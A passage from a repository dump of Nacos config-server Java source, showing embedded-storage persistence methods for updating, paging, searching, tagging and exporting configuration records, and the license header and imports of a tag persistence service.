}\n    \n    @Override\n    public ConfigOperateResult updateConfigInfo(final ConfigInfo configInfo, final String srcIp, final String srcUser,\n            final Map<String, Object> configAdvanceInfo) {\n        try {\n            ConfigAllInfo oldConfigAllInfo = findConfigAllInfo(configInfo.getDataId(), configInfo.getGroup(),\n                    configInfo.getTenant());\n            if (oldConfigAllInfo == null) {\n                if (LogUtil.FATAL_LOG.isErrorEnabled()) {\n                    LogUtil.FATAL_LOG.error(\"expected config info[dataid:{}, group:{}, tenent:{}] but not found.\",\n                            configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant());\n                }\n                return new ConfigOperateResult(false);\n            }\n            \n            final String tenantTmp =\n                    StringUtils.isBlank(configInfo.getTenant()) ? StringUtils.EMPTY : configInfo.getTenant();\n            \n            oldConfigAllInfo.setTenant(tenantTmp);\n            \n            String appNameTmp = oldConfigAllInfo.getAppName();\n            // If the appName passed by the user is not empty, the appName of the user is persisted;\n            // otherwise, the appName of db is used. Empty string is required to clear appName\n            if (configInfo.getAppName() == null) {\n                configInfo.setAppName(appNameTmp);\n            }\n            \n            updateConfigInfoAtomic(configInfo, srcIp, srcUser, configAdvanceInfo);\n            \n            String configTags = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"config_tags\");\n            if (configTags != null) {\n                // Delete all tags and recreate them\n                removeTagByIdAtomic(oldConfigAllInfo.getId());\n                addConfigTagsRelation(oldConfigAllInfo.getId(), configTags, configInfo.getDataId(),\n                        configInfo.getGroup(), configInfo.getTenant());\n            }\n            Timestamp time = new Timestamp(System.currentTimeMillis());\n            if (!CONFIG_MIGRATE_FLAG.get()) {\n                historyConfigInfoPersistService.insertConfigHistoryAtomic(oldConfigAllInfo.getId(), oldConfigAllInfo,\n                        srcIp, srcUser, time, \"U\", Constants.FORMAL, null,\n                        ConfigExtInfoUtil.getExtInfoFromAllInfo(oldConfigAllInfo));\n            }\n            EmbeddedStorageContextUtils.onModifyConfigInfo(configInfo, srcIp, time);\n            databaseOperate.blockUpdate();\n            return getConfigInfoOperateResult(configInfo.getDataId(), configInfo.getGroup(), tenantTmp);\n        } finally {\n            EmbeddedStorageContextHolder.cleanAllContext();\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult updateConfigInfoCas(final ConfigInfo configInfo, final String srcIp,\n            final String srcUser, final Map<String, Object> configAdvanceInfo) {\n        try {\n            ConfigAllInfo oldConfigAllInfo = findConfigAllInfo(configInfo.getDataId(), configInfo.getGroup(),\n                    configInfo.getTenant());\n            if (oldConfigAllInfo == null) {\n                if (LogUtil.FATAL_LOG.isErrorEnabled()) {\n                    LogUtil.FATAL_LOG.error(\"expected config info[dataid:{}, group:{}, tenent:{}] but not found.\",\n                            configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant());\n                }\n                return new ConfigOperateResult(false);\n            }\n            final String tenantTmp =\n                    StringUtils.isBlank(configInfo.getTenant()) ? StringUtils.EMPTY : configInfo.getTenant();\n            \n            oldConfigAllInfo.setTenant(tenantTmp);\n            \n            String appNameTmp = oldConfigAllInfo.getAppName();\n            // If the appName passed by the user is not empty, the appName of the user is persisted;\n            // otherwise, the appName of db is used. Empty string is required to clear appName\n            if (configInfo.getAppName() == null) {\n                configInfo.setAppName(appNameTmp);\n            }\n            \n            updateConfigInfoAtomicCas(configInfo, srcIp, srcUser, configAdvanceInfo);\n            \n            String configTags = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"config_tags\");\n            if (configTags != null) {\n                // Delete all tags and recreate them\n                removeTagByIdAtomic(oldConfigAllInfo.getId());\n                addConfigTagsRelation(oldConfigAllInfo.getId(), configTags, configInfo.getDataId(),\n                        configInfo.getGroup(), configInfo.getTenant());\n            }\n            Timestamp time = new Timestamp(System.currentTimeMillis());\n            if (!CONFIG_MIGRATE_FLAG.get()) {\n                historyConfigInfoPersistService.insertConfigHistoryAtomic(oldConfigAllInfo.getId(), oldConfigAllInfo,\n                        srcIp, srcUser, time, \"U\", Constants.FORMAL, null,\n                        ConfigExtInfoUtil.getExtInfoFromAllInfo(oldConfigAllInfo));\n            }\n            EmbeddedStorageContextUtils.onModifyConfigInfo(configInfo, srcIp, time);\n            boolean success = databaseOperate.blockUpdate();\n            if (success) {\n                return getConfigInfoOperateResult(configInfo.getDataId(), configInfo.getGroup(), tenantTmp);\n            } else {\n                return new ConfigOperateResult(false);\n            }\n        } finally {\n            EmbeddedStorageContextHolder.cleanAllContext();\n        }\n    }\n    \n    private ConfigOperateResult updateConfigInfoAtomicCas(final ConfigInfo configInfo, final String srcIp,\n            final String srcUser, Map<String, Object> configAdvanceInfo) {\n        final String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        final String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        final String md5Tmp = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n        final String desc = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"desc\");\n        final String use = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"use\");\n        final String effect = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"effect\");\n        final String type = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"type\");\n        final String schema = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"schema\");\n        final String encryptedDataKey =\n                configInfo.getEncryptedDataKey() == null ? StringUtils.EMPTY : configInfo.getEncryptedDataKey();\n        MapperContext context = new MapperContext();\n        context.putUpdateParameter(FieldConstant.CONTENT, configInfo.getContent());\n        context.putUpdateParameter(FieldConstant.MD5, md5Tmp);\n        context.putUpdateParameter(FieldConstant.SRC_IP, srcIp);\n        context.putUpdateParameter(FieldConstant.SRC_USER, srcUser);\n        context.putUpdateParameter(FieldConstant.APP_NAME, appNameTmp);\n        // Only update c_desc when desc is not null (empty string will also update)\n        if (desc != null) {\n            context.putUpdateParameter(FieldConstant.C_DESC, desc);\n        }\n        context.putUpdateParameter(FieldConstant.C_USE, use);\n        context.putUpdateParameter(FieldConstant.EFFECT, effect);\n        context.putUpdateParameter(FieldConstant.TYPE, type);\n        context.putUpdateParameter(FieldConstant.C_SCHEMA, schema);\n        context.putUpdateParameter(FieldConstant.ENCRYPTED_DATA_KEY, encryptedDataKey);\n        context.putWhereParameter(FieldConstant.DATA_ID, configInfo.getDataId());\n        context.putWhereParameter(FieldConstant.GROUP_ID, configInfo.getGroup());\n        context.putWhereParameter(FieldConstant.TENANT_ID, tenantTmp);\n        context.putWhereParameter(FieldConstant.MD5, configInfo.getMd5());\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        MapperResult mapperResult = configInfoMapper.updateConfigInfoAtomicCas(context);\n        \n        EmbeddedStorageContextHolder.addSqlContext(Boolean.TRUE, mapperResult.getSql(),\n                mapperResult.getParamList().toArray());\n        return getConfigInfoOperateResult(configInfo.getDataId(), configInfo.getGroup(), tenantTmp);\n        \n    }\n    \n    @Override\n    public void updateConfigInfoAtomic(final ConfigInfo configInfo, final String srcIp, final String srcUser,\n            Map<String, Object> configAdvanceInfo) {\n        final String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        final String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        final String md5Tmp = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n        final String desc = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"desc\");\n        final String use = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"use\");\n        final String effect = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"effect\");\n        final String type = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"type\");\n        final String schema = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"schema\");\n        final String encryptedDataKey =\n                configInfo.getEncryptedDataKey() == null ? StringUtils.EMPTY : configInfo.getEncryptedDataKey();\n        \n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        \n        // Build update columns and parameters dynamically\n        List<String> updateColumns = new ArrayList<>(Arrays.asList(\"content\", \"md5\", \"src_ip\", \"src_user\", \n                \"gmt_modified@NOW()\", \"app_name\"));\n        List<Object> updateParams = new ArrayList<>(Arrays.asList(configInfo.getContent(), md5Tmp, srcIp, \n                srcUser, appNameTmp));\n        \n        // Only update c_desc when desc is not null (empty string will also update)\n        if (desc != null) {\n            updateColumns.add(\"c_desc\");\n            updateParams.add(desc);\n        }\n        updateColumns.addAll(Arrays.asList(\"c_use\", \"effect\", \"type\", \"c_schema\", \"encrypted_data_key\"));\n        updateParams.addAll(Arrays.asList(use, effect, type, schema, encryptedDataKey));\n        \n        // Add where parameters\n        updateParams.addAll(Arrays.asList(configInfo.getDataId(), configInfo.getGroup(), tenantTmp));\n        \n        final String sql = configInfoMapper.update(updateColumns, Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\"));\n        \n        EmbeddedStorageContextHolder.addSqlContext(sql, updateParams.toArray());\n    }\n    \n    @Override\n    public long findConfigMaxId() {\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        MapperResult mapperResult = configInfoMapper.findConfigMaxId(null);\n        return Optional.ofNullable(databaseOperate.queryOne(mapperResult.getSql(), Long.class)).orElse(0L);\n    }\n    \n    @Override\n    public ConfigInfo findConfigInfo(long id) {\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        final String sql = configInfoMapper.select(\n                Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"app_name\", \"content\"),\n                Collections.singletonList(\"id\"));\n        return databaseOperate.queryOne(sql, new Object[] {id}, CONFIG_INFO_ROW_MAPPER);\n    }\n    \n    @Override\n    public ConfigInfoWrapper findConfigInfo(final String dataId, final String group, final String tenant) {\n        final String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        final String sql = configInfoMapper.select(\n                Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"app_name\", \"content\", \"md5\", \"type\",\n                        \"encrypted_data_key\", \"gmt_modified\"), Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\"));\n        final Object[] args = new Object[] {dataId, group, tenantTmp};\n        return databaseOperate.queryOne(sql, args, CONFIG_INFO_WRAPPER_ROW_MAPPER);\n        \n    }\n    \n    @Override\n    public Page<ConfigInfo> findConfigInfo4Page(final int pageNo, final int pageSize, final String dataId,\n            final String group, final String tenant, final Map<String, Object> configAdvanceInfo) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        final String appName = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"appName\");\n        final String content = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"content\");\n        final String configTags = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"config_tags\");\n        MapperResult sql;\n        MapperResult sqlCount;\n        \n        final MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.TENANT_ID, tenantTmp);\n        if (StringUtils.isNotBlank(dataId)) {\n            context.putWhereParameter(FieldConstant.DATA_ID, dataId);\n        }\n        if (StringUtils.isNotBlank(group)) {\n            context.putWhereParameter(FieldConstant.GROUP_ID, group);\n        }\n        if (StringUtils.isNotBlank(appName)) {\n            context.putWhereParameter(FieldConstant.APP_NAME, appName);\n        }\n        if (!StringUtils.isBlank(content)) {\n            context.putWhereParameter(FieldConstant.CONTENT, content);\n        }\n        context.setStartRow((pageNo - 1) * pageSize);\n        context.setPageSize(pageSize);\n        \n        if (StringUtils.isNotBlank(configTags)) {\n            String[] tagArr = configTags.split(\",\");\n            context.putWhereParameter(FieldConstant.TAG_ARR, tagArr);\n            ConfigTagsRelationMapper configTagsRelationMapper = mapperManager.findMapper(\n                    dataSourceService.getDataSourceType(), TableConstant.CONFIG_TAGS_RELATION);\n            sqlCount = configTagsRelationMapper.findConfigInfo4PageCountRows(context);\n            sql = configTagsRelationMapper.findConfigInfo4PageFetchRows(context);\n        } else {\n            ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO);\n            \n            sqlCount = configInfoMapper.findConfigInfo4PageCountRows(context);\n            sql = configInfoMapper.findConfigInfo4PageFetchRows(context);\n        }\n        PaginationHelper<ConfigInfo> helper = createPaginationHelper();\n        Page<ConfigInfo> page = helper.fetchPageLimit(sqlCount, sql, pageNo, pageSize, CONFIG_INFO_ROW_MAPPER);\n        \n        for (ConfigInfo configInfo : page.getPageItems()) {\n            Pair<String, String> pair = EncryptionHandler.decryptHandler(configInfo.getDataId(),\n                    configInfo.getEncryptedDataKey(), configInfo.getContent());\n            configInfo.setContent(pair.getSecond());\n            \n            // 查询并设置标签信息\n            List<String> configTagList = selectTagByConfig(configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant());\n            if (CollectionUtils.isNotEmpty(configTagList)) {\n                String configTagsStr = String.join(\",\", configTagList);\n                configInfo.setConfigTags(configTagsStr);\n            }\n        }\n        \n        return page;\n    }\n    \n    @Override\n    public int configInfoCount() {\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        String sql = configInfoMapper.count(null);\n        Integer result = databaseOperate.queryOne(sql, Integer.class);\n        if (result == null) {\n            throw new IllegalArgumentException(\"configInfoCount error\");\n        }\n        return result;\n    }\n    \n    @Override\n    public int configInfoCount(String tenant) {\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.TENANT_ID, tenant);\n        MapperResult mapperResult = configInfoMapper.configInfoLikeTenantCount(context);\n        Integer result = databaseOperate.queryOne(mapperResult.getSql(), mapperResult.getParamList().toArray(),\n                Integer.class);\n        if (result == null) {\n            throw new IllegalArgumentException(\"configInfoCount error\");\n        }\n        return result;\n    }\n    \n    @Override\n    public List<String> getTenantIdList(int page, int pageSize) {\n        PaginationHelper<Map<String, Object>> helper = createPaginationHelper();\n        \n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        int from = (page - 1) * pageSize;\n        MapperResult mapperResult = configInfoMapper.getTenantIdList(new MapperContext(from, pageSize));\n        \n        Page<Map<String, Object>> pageList = helper.fetchPageLimit(mapperResult.getSql(),\n                mapperResult.getParamList().toArray(), page, pageSize, MAP_ROW_MAPPER);\n        return pageList.getPageItems().stream().map(map -> String.valueOf(map.get(\"TENANT_ID\")))\n                .collect(Collectors.toList());\n    }\n    \n    @Override\n    public List<String> getGroupIdList(int page, int pageSize) {\n        PaginationHelper<Map<String, Object>> helper = createPaginationHelper();\n        \n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        int from = (page - 1) * pageSize;\n        MapperResult mapperResult = configInfoMapper.getGroupIdList(new MapperContext(from, pageSize));\n        \n        Page<Map<String, Object>> pageList = helper.fetchPageLimit(mapperResult.getSql(),\n                mapperResult.getParamList().toArray(), page, pageSize, MAP_ROW_MAPPER);\n        return pageList.getPageItems().stream().map(map -> String.valueOf(map.get(\"GROUP_ID\")))\n                .collect(Collectors.toList());\n    }\n    \n    @Override\n    public Page<ConfigInfoWrapper> findAllConfigInfoFragment(final long lastMaxId, final int pageSize,\n            boolean needContent) {\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        MapperContext context = new MapperContext(0, pageSize);\n        context.putContextParameter(ContextConstant.NEED_CONTENT, String.valueOf(needContent));\n        context.putWhereParameter(FieldConstant.ID, lastMaxId);\n        MapperResult select = configInfoMapper.findAllConfigInfoFragment(context);\n        PaginationHelper<ConfigInfoWrapper> helper = createPaginationHelper();\n        return helper.fetchPageLimit(select.getSql(), select.getParamList().toArray(), 1, pageSize,\n                CONFIG_INFO_WRAPPER_ROW_MAPPER);\n        \n    }\n    \n    @Override\n    public Page<ConfigInfo> findConfigInfoLike4Page(final int pageNo, final int pageSize, final String dataId,\n            final String group, final String tenant, final Map<String, Object> configAdvanceInfo) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        final String appName = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"appName\");\n        final String content = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"content\");\n        final String types = Optional.ofNullable(configAdvanceInfo).map(e -> (String) e.get(ParametersField.TYPES))\n                .orElse(null);\n        final String configTags = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"config_tags\");\n        MapperResult sqlCountRows;\n        MapperResult sqlFetchRows;\n        \n        MapperContext context = new MapperContext((pageNo - 1) * pageSize, pageSize);\n        context.putWhereParameter(FieldConstant.TENANT_ID, generateLikeArgument(tenantTmp));\n        \n        if (!StringUtils.isBlank(dataId)) {\n            context.putWhereParameter(FieldConstant.DATA_ID, generateLikeArgument(dataId));\n        }\n        if (!StringUtils.isBlank(group)) {\n            context.putWhereParameter(FieldConstant.GROUP_ID, generateLikeArgument(group));\n        }\n        if (!StringUtils.isBlank(appName)) {\n            context.putWhereParameter(FieldConstant.APP_NAME, appName);\n        }\n        if (!StringUtils.isBlank(content)) {\n            context.putWhereParameter(FieldConstant.CONTENT, generateLikeArgument(content));\n        }\n        if (StringUtils.isNotBlank(types)) {\n            String[] typesArr = types.split(Symbols.COMMA);\n            context.putWhereParameter(FieldConstant.TYPE, typesArr);\n        }\n        \n        if (StringUtils.isNotBlank(configTags)) {\n            String[] tagArr = configTags.split(\",\");\n            for (int i = 0; i < tagArr.length; i++) {\n                tagArr[i] = generateLikeArgument(tagArr[i]);\n            }\n            context.putWhereParameter(FieldConstant.TAG_ARR, tagArr);\n            ConfigTagsRelationMapper configTagsRelationMapper = mapperManager.findMapper(\n                    dataSourceService.getDataSourceType(), TableConstant.CONFIG_TAGS_RELATION);\n            sqlCountRows = configTagsRelationMapper.findConfigInfoLike4PageCountRows(context);\n            sqlFetchRows = configTagsRelationMapper.findConfigInfoLike4PageFetchRows(context);\n        } else {\n            ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO);\n            sqlCountRows = configInfoMapper.findConfigInfoLike4PageCountRows(context);\n            sqlFetchRows = configInfoMapper.findConfigInfoLike4PageFetchRows(context);\n        }\n        PaginationHelper<ConfigInfo> helper = createPaginationHelper();\n        Page<ConfigInfo> page = helper.fetchPageLimit(sqlCountRows, sqlFetchRows, pageNo, pageSize,\n                CONFIG_INFO_ROW_MAPPER);\n        for (ConfigInfo configInfo : page.getPageItems()) {\n            Pair<String, String> pair = EncryptionHandler.decryptHandler(configInfo.getDataId(),\n                    configInfo.getEncryptedDataKey(), configInfo.getContent());\n            configInfo.setContent(pair.getSecond());\n            \n            // 查询并设置标签信息\n            List<String> configTagList = selectTagByConfig(configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant());\n            if (CollectionUtils.isNotEmpty(configTagList)) {\n                String configTagsStr = String.join(\",\", configTagList);\n                configInfo.setConfigTags(configTagsStr);\n            }\n        }\n        return page;\n        \n    }\n    \n    @Override\n    public List<ConfigInfoStateWrapper> findChangeConfig(final Timestamp startTime, long lastMaxId,\n            final int pageSize) {\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        \n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.START_TIME, startTime);\n        context.putWhereParameter(FieldConstant.PAGE_SIZE, pageSize);\n        context.putWhereParameter(FieldConstant.LAST_MAX_ID, lastMaxId);\n        \n        MapperResult mapperResult = configInfoMapper.findChangeConfig(context);\n        return databaseOperate.queryMany(mapperResult.getSql(), mapperResult.getParamList().toArray(),\n                CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER);\n        \n    }\n    \n    @Override\n    public List<String> selectTagByConfig(String dataId, String group, String tenant) {\n        ConfigTagsRelationMapper configTagsRelationMapper = mapperManager.findMapper(\n                dataSourceService.getDataSourceType(), TableConstant.CONFIG_TAGS_RELATION);\n        String sql = configTagsRelationMapper.select(Collections.singletonList(\"tag_name\"),\n                Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\"));\n        return databaseOperate.queryMany(sql, new Object[] {dataId, group, tenant}, String.class);\n    }\n    \n    @Override\n    public List<ConfigInfo> findConfigInfosByIds(final String ids) {\n        if (StringUtils.isBlank(ids)) {\n            return null;\n        }\n        List<Long> paramList = new ArrayList<>();\n        String[] idArr = ids.split(\",\");\n        for (int i = 0; i < idArr.length; i++) {\n            paramList.add(Long.parseLong(idArr[i]));\n        }\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.IDS, paramList);\n        MapperResult mapperResult = configInfoMapper.findConfigInfosByIds(context);\n        return databaseOperate.queryMany(mapperResult.getSql(), mapperResult.getParamList().toArray(),\n                CONFIG_INFO_ROW_MAPPER);\n        \n    }\n    \n    @Override\n    public ConfigAdvanceInfo findConfigAdvanceInfo(final String dataId, final String group, final String tenant) {\n        final String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        List<String> configTagList = this.selectTagByConfig(dataId, group, tenant);\n        \n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        ConfigAdvanceInfo configAdvance = databaseOperate.queryOne(configInfoMapper.select(\n                        Arrays.asList(\"gmt_create\", \"gmt_modified\", \"src_user\", \"src_ip\", \"c_desc\", \"c_use\", \"effect\", \"type\",\n                                \"c_schema\"), Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\")),\n                new Object[] {dataId, group, tenantTmp}, CONFIG_ADVANCE_INFO_ROW_MAPPER);\n        \n        if (CollectionUtils.isNotEmpty(configTagList)) {\n            StringBuilder configTagsTmp = new StringBuilder();\n            for (String configTag : configTagList) {\n                if (configTagsTmp.length() == 0) {\n                    configTagsTmp.append(configTag);\n                } else {\n                    configTagsTmp.append(',').append(configTag);\n                }\n            }\n            configAdvance.setConfigTags(configTagsTmp.toString());\n        }\n        return configAdvance;\n    }\n    \n    @Override\n    public ConfigAllInfo findConfigAllInfo(final String dataId, final String group, final String tenant) {\n        final String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        \n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        final String sql = configInfoMapper.select(\n                Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"app_name\", \"content\", \"md5\", \"gmt_create\",\n                        \"gmt_modified\", \"src_user\", \"src_ip\", \"c_desc\", \"c_use\", \"effect\", \"type\", \"c_schema\",\n                        \"encrypted_data_key\"), Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\"));\n        \n        List<String> configTagList = selectTagByConfig(dataId, group, tenant);\n        \n        ConfigAllInfo configAdvance = databaseOperate.queryOne(sql, new Object[] {dataId, group, tenantTmp},\n                CONFIG_ALL_INFO_ROW_MAPPER);\n        \n        if (configTagList != null && !configTagList.isEmpty()) {\n            StringBuilder configTagsTmp = new StringBuilder();\n            for (String configTag : configTagList) {\n                if (configTagsTmp.length() == 0) {\n                    configTagsTmp.append(configTag);\n                } else {\n                    configTagsTmp.append(',').append(configTag);\n                }\n            }\n            configAdvance.setConfigTags(configTagsTmp.toString());\n        }\n        return configAdvance;\n    }\n    \n    @Override\n    public List<ConfigAllInfo> findAllConfigInfo4Export(final String dataId, final String group, final String tenant,\n            final String appName, final List<Long> ids) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        MapperContext context = new MapperContext();\n        if (!CollectionUtils.isEmpty(ids)) {\n            context.putWhereParameter(FieldConstant.IDS, ids);\n        } else {\n            context.putWhereParameter(FieldConstant.TENANT_ID, tenantTmp);\n            if (!StringUtils.isBlank(dataId)) {\n                context.putWhereParameter(FieldConstant.DATA_ID, generateLikeArgument(dataId));\n            }\n            if (StringUtils.isNotBlank(group)) {\n                context.putWhereParameter(FieldConstant.GROUP_ID, group);\n            }\n            if (StringUtils.isNotBlank(appName)) {\n                context.putWhereParameter(FieldConstant.APP_NAME, appName);\n            }\n        }\n        \n        MapperResult mapperResult = configInfoMapper.findAllConfigInfo4Export(context);\n        List<ConfigAllInfo> configAllInfos = databaseOperate.queryMany(mapperResult.getSql(),\n                mapperResult.getParamList().toArray(), CONFIG_ALL_INFO_ROW_MAPPER);\n        \n        if (CollectionUtils.isEmpty(configAllInfos)) {\n            return configAllInfos;\n        }\n        for (ConfigAllInfo configAllInfo : configAllInfos) {\n            List<String> configTagList = selectTagByConfig(configAllInfo.getDataId(), configAllInfo.getGroup(),\n                    configAllInfo.getTenant());\n            if (CollectionUtils.isNotEmpty(configTagList)) {\n                StringBuilder configTags = new StringBuilder();\n                for (String configTag : configTagList) {\n                    if (configTags.length() == 0) {\n                        configTags.append(configTag);\n                    } else {\n                        configTags.append(',').append(configTag);\n                    }\n                }\n                configAllInfo.setConfigTags(configTags.toString());\n            }\n        }\n        \n        return configAllInfos;\n    }\n    \n    @Override\n    public List<ConfigInfoWrapper> queryConfigInfoByNamespace(String tenantId) {\n        if (Objects.isNull(tenantId)) {\n            throw new IllegalArgumentException(\"tenantId can not be null\");\n        }\n        String tenantTmp = StringUtils.isBlank(tenantId) ? StringUtils.EMPTY : tenantId;\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        final String sql = configInfoMapper.select(\n                Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"app_name\", \"type\", \"gmt_modified\"),\n                Collections.singletonList(\"tenant_id\"));\n        return databaseOperate.queryMany(sql, new Object[] {tenantTmp}, CONFIG_INFO_WRAPPER_ROW_MAPPER);\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/repository/embedded/EmbeddedConfigInfoTagPersistServiceImpl.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository.embedded;\n\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoTagWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoTagPersistService;\nimport com.alibaba.nacos.config.server.service.sql.EmbeddedStorageContextUtils;\nimport com.alibaba.nacos.persistence.configuration.condition.ConditionOnEmbeddedStorage;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.persistence.model.event.DerbyImportEvent;\nimport com.alibaba.nacos.persistence.repository.PaginationHelper;\nimport com.alibaba.nacos.persistence.repository.embedded.EmbeddedPaginationHelperImpl;\nimport com.alibaba.nacos.persistence.repository.embedded.EmbeddedStorageContextHolder;\nimport com.alibaba.nacos.persistence.repository.embedded.operate.DatabaseOperate;\nimport com.alibaba.nacos.plugin.datasource.MapperManager;\nimport com.alibaba.nacos.plugin.datasource.constants.CommonConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.FieldConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.TableConstant;\nimport com.alibaba.nacos.plugin.datasource.mapper.ConfigInfoTagMapper;\nimport com.alibaba.nacos.plugin.datasource.model.MapperContext;\nimport com.alibaba.nacos.plugin.datasource.model.MapperResult;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.stereotype.Service;\n\nimport java.sql.Timestamp;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.List;\n\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_TAG_WRAPPER_ROW_MAPPER;\n\n/**\n * 